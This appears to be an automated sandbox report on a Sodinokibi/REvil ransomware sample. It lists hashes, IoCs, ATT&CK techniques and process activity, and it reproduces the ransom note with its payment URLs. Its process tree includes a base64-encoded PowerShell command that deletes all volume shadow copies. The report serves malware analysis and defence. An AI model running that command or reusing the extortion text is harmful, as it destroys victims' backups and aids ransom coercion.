sodinokibi | 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708

General

Target

adb.vbs.exe
Size

116KB
MD5

b86ad4241b01376b3924a380f6f4c934
SHA1

10682d08a18715a79ee23b58fdb6ee44c4e28c61
SHA256

14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708
SHA512

54fd19cfc37255e7ddf3456d1a2989558522cf58e5eee6ca916c19542921fe3ba4e7a431a35e0e1edbfc37c5651d392e7c3c54eb408754c0488021b16fdf92c9
SSDEEP

1536:aTZINbRh0SKws6KTUkmHlntMvfWhbpfCqeICS4AKvQIFlswOmZFS0cnwpIGmQwB:FRix3PWhNlOVFmw5q0cifmQ

Score

10^/10

sodinokibi ransomware

Malware Config

Extracted

Path

C:\Recovery\5myuz6ci-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 5myuz6ci. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] WE ARE READY TO PUBLISH UR DATA TO PUBLIC ACCESS IF YOU NOT CONTACT US (USE TOR BROWSER TO VIEW) http://dnpscnbaix6nkwvystl3yxglz7nteicqrou3t75tpcc5532cztc46qyd.onion/posts/125?s=7ee0235fc7f67403393ad971dea5809e [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/4EA0548D3417256B 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/4EA0548D3417256B Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 1ldHvOB7HKJsKHzevrmfTNkxNVF2JJ6/wSHOm3p8hOTD1IJm5vs/6o46aFsrk2pX 5+rhciRml/nLd6lAnIlPkV6Xyl021nqaZYPIJpYp1Dq7WFGibAVZIIKrRogE4SDy db5peCEJVsYdPN0q9zq4+HS+GqRI9BFJQF+gEJZ5VacPeKeQvf0XhptzbdKBqNcm a8qghi0bratMjct4vfK+C3Wd/C/W3jnd3gSj6iAA/sR1X30GuG77+pt/753bdI2s lhT1Qck2mUnOMS+orM40XJRJQn2WED/mzDlGzdGRNwJNcZmbeMGlxtkLBS+4Qbzm +HWx21q63XZwF70Jt8PPfZ5Lzy3iz1Z98W5kRpMEznRKdTPLaU4khRPG++DjcUqW KTQU3LqEY9JybKZN1eF2yygeAbmyVlLFrHO57TePxQYTg5lSprc/1yKl09G5wI8n QGHNSl28vwElJHDh/8TBbxJ302DANumQa0jn5jS1pqqTxQ6BINS5AV86geN7cFuL aZ2J9LaXi992QYFEHIMCVUiseEIVgpvK/B9GyoSTCE0l4Kg+s69whTSt0I9GI7uN XQYNi6bDxaSsw9fLwepeDGvv3LCt/mv6bIh2diCNzbx3Rk9oEKqRDL16QnlEUPgv xJ+sEdF/crdf+ybQkCIymhI69cX0WVMWS/0wifuRbWtq4ZmtRuqWWE7VdJK9KXYV PwsgStUYWnB9Nu/L94OIclxvXHNQuMVCwP1GM0rq+pukWAJxxueMx/ufZJtirtyG 00/TeH80L4Nu8zO0798+xD0O/KwV+DdYKwD38sd2QAxjh99fLq2Z5VME4s+ErV1P myC7q+sS80hUXFjPUIFlZRDoWlxqpc50dxP4wFMCsNkaIasXp4NA5J87JBzhZ5TC MvYTCXaOtet1+QUjhPmEzSfNWXZn9FnliXDTwW5ZEbLpglyJ9qGYrWj+DMiCVK5H GJ/mni7cGndvvsYfothj5TRM8aRNntC/x268zs1eyAN1z5lFWs0+IMS96QYaZl4t SbaSQqOPt0n1mvPgbvuWSYUuLSj21Qg8P97zxFvheSOcjYOftQKCWS7chNrmlldm A6+2yeHkgbm2kHAU68tO/OeOO0CBLUSTa9h6kqp0L2r03pWhlxMOlMSQVq9fl/Lo uTGMWmgu5NHY0Lqr0e4XMbEKpqeN+92MurnLkKGPdpETBur8WVFz50msPUG0YIl2 iGPsgXZsJJWEqeDgZuP2T05tNuOcE2Z0oaC9MIfbk8d1OM9yc/MBV1kblplsV1bO tPrPZdq+btdm++3u8eCyzyVbTEH2xw7z/TS/0nvNL/N30Q4yvMf7Y6BJ1t7C3I56 2izYg6D5qaMRnTcKaklIT3G9qLzgPouiTJNL3wiQbuBXsB3BENoPMoTy ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/4EA0548D3417256B

http://decryptor.cc/4EA0548D3417256B

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

adb.vbs.exe

description	ioc	process
File opened (read-only)	\??\B:	adb.vbs.exe
File opened (read-only)	\??\H:	adb.vbs.exe
File opened (read-only)	\??\I:	adb.vbs.exe
File opened (read-only)	\??\P:	adb.vbs.exe
File opened (read-only)	\??\X:	adb.vbs.exe
File opened (read-only)	\??\V:	adb.vbs.exe
File opened (read-only)	\??\E:	adb.vbs.exe
File opened (read-only)	\??\G:	adb.vbs.exe
File opened (read-only)	\??\K:	adb.vbs.exe
File opened (read-only)	\??\O:	adb.vbs.exe
File opened (read-only)	\??\S:	adb.vbs.exe
File opened (read-only)	\??\W:	adb.vbs.exe
File opened (read-only)	\??\D:	adb.vbs.exe
File opened (read-only)	\??\J:	adb.vbs.exe
File opened (read-only)	\??\M:	adb.vbs.exe
File opened (read-only)	\??\R:	adb.vbs.exe
File opened (read-only)	\??\T:	adb.vbs.exe
File opened (read-only)	\??\U:	adb.vbs.exe
File opened (read-only)	\??\Z:	adb.vbs.exe
File opened (read-only)	\??\F:	adb.vbs.exe
File opened (read-only)	\??\A:	adb.vbs.exe
File opened (read-only)	\??\L:	adb.vbs.exe
File opened (read-only)	\??\N:	adb.vbs.exe
File opened (read-only)	\??\Q:	adb.vbs.exe
File opened (read-only)	\??\Y:	adb.vbs.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

adb.vbs.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\4xbb7cv4.bmp"	adb.vbs.exe

Drops file in Program Files directory 13 IoCs

Processes:

adb.vbs.exe

description	ioc	process
File opened for modification	\??\c:\program files\UnblockResume.ttc	adb.vbs.exe
File created	\??\c:\program files\5myuz6ci-readme.txt	adb.vbs.exe
File opened for modification	\??\c:\program files\ConvertFromStop.temp	adb.vbs.exe
File opened for modification	\??\c:\program files\EditSave.mpg	adb.vbs.exe
File opened for modification	\??\c:\program files\SplitRequest.xlsb	adb.vbs.exe
File opened for modification	\??\c:\program files\MeasureTest.temp	adb.vbs.exe
File opened for modification	\??\c:\program files\SendExport.gif	adb.vbs.exe
File opened for modification	\??\c:\program files\SplitRepair.css	adb.vbs.exe
File opened for modification	\??\c:\program files\UndoPing.mid	adb.vbs.exe
File created	\??\c:\program files (x86)\5myuz6ci-readme.txt	adb.vbs.exe
File opened for modification	\??\c:\program files\ImportStep.dxf	adb.vbs.exe
File opened for modification	\??\c:\program files\ImportUnlock.cr2	adb.vbs.exe
File opened for modification	\??\c:\program files\MeasureSkip.pptm	adb.vbs.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

adb.vbs.exepowershell.exe

pid process

4688 adb.vbs.exe
4688 adb.vbs.exe
3208 powershell.exe
3208 powershell.exe

pid	process
4688	adb.vbs.exe
4688	adb.vbs.exe
3208	powershell.exe
3208	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

adb.vbs.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	4688	adb.vbs.exe
Token: SeDebugPrivilege	3208	powershell.exe
Token: SeBackupPrivilege	3616	vssvc.exe
Token: SeRestorePrivilege	3616	vssvc.exe
Token: SeAuditPrivilege	3616	vssvc.exe
Token: SeTakeOwnershipPrivilege	4688	adb.vbs.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

adb.vbs.exe

description	pid	process	target process
PID 4688 wrote to memory of 3208	4688	adb.vbs.exe	powershell.exe
PID 4688 wrote to memory of 3208	4688	adb.vbs.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\adb.vbs.exe
"C:\Users\Admin\AppData\Local\Temp\adb.vbs.exe"
1⤵
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4688

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3208

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:5012

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3616

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

Peripheral Device Discovery

1

T1120

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Defacement

1

T1491

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Recovery\5myuz6ci-readme.txt
Filesize
7KB

MD5
08b82cbcd7604cbadb77c969c72b3213

SHA1
1a200851e58f2c5119f9aeba2182396a5a0cfc3f

SHA256
f879d65f8677f3094b7f2a520863e0493fd64708feb49efec71785b1d4712d79

SHA512
76d3f5bdf8840b6bf819dc1fb544a4b3f886b885e0794d5d76fa6d873a6bfd90a17dc1048bb726a41e82a50be8faaeaad6f62d0c63b0f297c634c3b785df6e57

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aatp2fxh.w2y.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3208-138-0x000001EE3DD30000-0x000001EE3DD52000-memory.dmp

Filesize
136KB

Download
memory/3208-143-0x00007FFCB4E80000-0x00007FFCB5941000-memory.dmp

Filesize
10.8MB

Download
memory/3208-144-0x000001EE3DDA0000-0x000001EE3DDB0000-memory.dmp

Filesize
64KB

Download
memory/3208-145-0x000001EE3DDA0000-0x000001EE3DDB0000-memory.dmp

Filesize
64KB

Download
memory/3208-146-0x000001EE3DDA0000-0x000001EE3DDB0000-memory.dmp

Filesize
64KB

Download
memory/3208-149-0x00007FFCB4E80000-0x00007FFCB5941000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads